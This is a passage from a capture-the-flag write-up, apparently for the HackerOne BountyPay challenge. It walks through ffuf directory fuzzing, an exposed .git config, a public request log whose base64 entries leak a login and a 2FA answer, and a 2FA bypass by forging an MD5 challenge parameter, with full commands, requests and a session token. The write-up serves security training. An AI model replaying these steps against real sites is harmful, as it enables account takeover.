II - Active Reconnaissance
Directory Enumeration
After the passive reconnaiscance I usually do some directory and file bruteforcing. My goto tool for this now is ffuf. FFuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go.
ffuf -w raft-large-directories.txt \
-o ffuf-directories-app.json \
-u https://app.bountypay.h1ctf.com/FUZZ/ \
-t 10 \
-replay-proxy http://127.0.0.1:8080
ffuf output:
________________________________________________
:: Method : GET
:: URL : https://app.bountypay.h1ctf.com/FUZZ/
:: Output file : ffuf-directories-app.json
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: ReplayProxy : http://127.0.0.1:8080
:: Timeout : 10
:: Threads : 10
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
images [Status: 403, Size: 178, Words: 5, Lines: 8]
js [Status: 403, Size: 178, Words: 5, Lines: 8]
css [Status: 403, Size: 178, Words: 5, Lines: 8]
logout [Status: 302, Size: 0, Words: 1, Lines: 1]
cgit [Status: 403, Size: 170, Words: 5, Lines: 7]
:: Progress: [62275/62275] :: Job [1/1] :: 80 req/sec :: Duration: [0:12:54] :: Errors: 3 ::
There is one entry that looks interesting cgit
, which might indicate that we are in the presence of a misconfigured NGINX web server with a .git
folder that is publicly available. Let's see if we can access the config file. This request was made inside Burp but I'll use HTTPie output for the writeup since it will make the report easier to read:
http get https://app.bountypay.h1ctf.com/.git/config
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 16:41:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
Bingo ! The config file gives us the URL of the repository.
Souce code analysis

The GitHub account has only one repository with one file and one commit. We can see that the PHP file is logging request data into a file named bp_web_trace.log
.
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents(
'bp_web_trace.log',
date("U").':'.base64_encode(json_encode($data))."\n",
FILE_APPEND
);
Let's see if the file is available on the server.
http get https://app.bountypay.h1ctf.com/bp_web_trace.log
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 04 Jun 2020 16:46:48 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
We can easily decode the base64 encoded data, I'm either using Hackvertor inside of Burp or CyberChef for this kind of thing:
{
"IP": "192.168.1.1",
"METHOD": "GET",
"PARAMS": {
"GET": [],
"POST": []
},
"URI": "/"
}
{
"IP": "192.168.1.1",
"METHOD": "POST",
"PARAMS": {
"GET": [],
"POST": {
"password": "V7h0inzX",
"username": "brian.oliver"
}
},
"URI": "/"
}
{
"IP": "192.168.1.1",
"METHOD": "POST",
"PARAMS": {
"GET": [],
"POST": {
"challenge_answer": "bD83Jk27dQ",
"password": "V7h0inzX",
"username": "brian.oliver"
}
},
"URI": "/"
}
{
"IP": "192.168.1.1",
"METHOD": "GET",
"PARAMS": {
"GET": {
"month": "04",
"year": "2020"
},
"POST": []
},
"URI": "/statements"
}
The most interesting one is the third where we can see a username, password and 2FA challenge answer. If we try to login using the credentials found in the log file we get asked for a 10 characters password sent to the user's phone:

The code found in the log file is invalid and bruteforcing the code is usually not the way to go in CTFs.
Bypassing 2FA
Let's analyze the request being sent when submitting the challlenge answer:
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 108
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.4079.0 Safari/537.36 autochrome/orange
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://app.bountypay.h1ctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
username=brian.oliver&password=V7h0inzX&challenge=8718040845a881ff0da135418b2811b2&challenge_answer=V7h0inzX
We can see that there is an extra parameter named challenge
. The value appears to be an MD5 hash. The hash is different after each login request. After a bit of trial and error we can guess that the challenge
should be an MD5 hash of the challenge_answer
. When this is the case we can successfully login ! 🥳
http -f post https://app.bountypay.h1ctf.com \
username=brian.oliver \
password=V7h0inzX \
challenge=5828c689761cce705a1c84d9b1a1ed5e \
challenge_answer=bD83Jk27dQ
HTTP/1.1 302 Found
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 04 Jun 2020 16:51:11 GMT
Location: /
Server: nginx/1.14.0 (Ubuntu)
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Sat, 04-Jul-2020 16:51:11 GMT; Max-Age=2592000
Transfer-Encoding: chunked

Last updated
Was this helpful?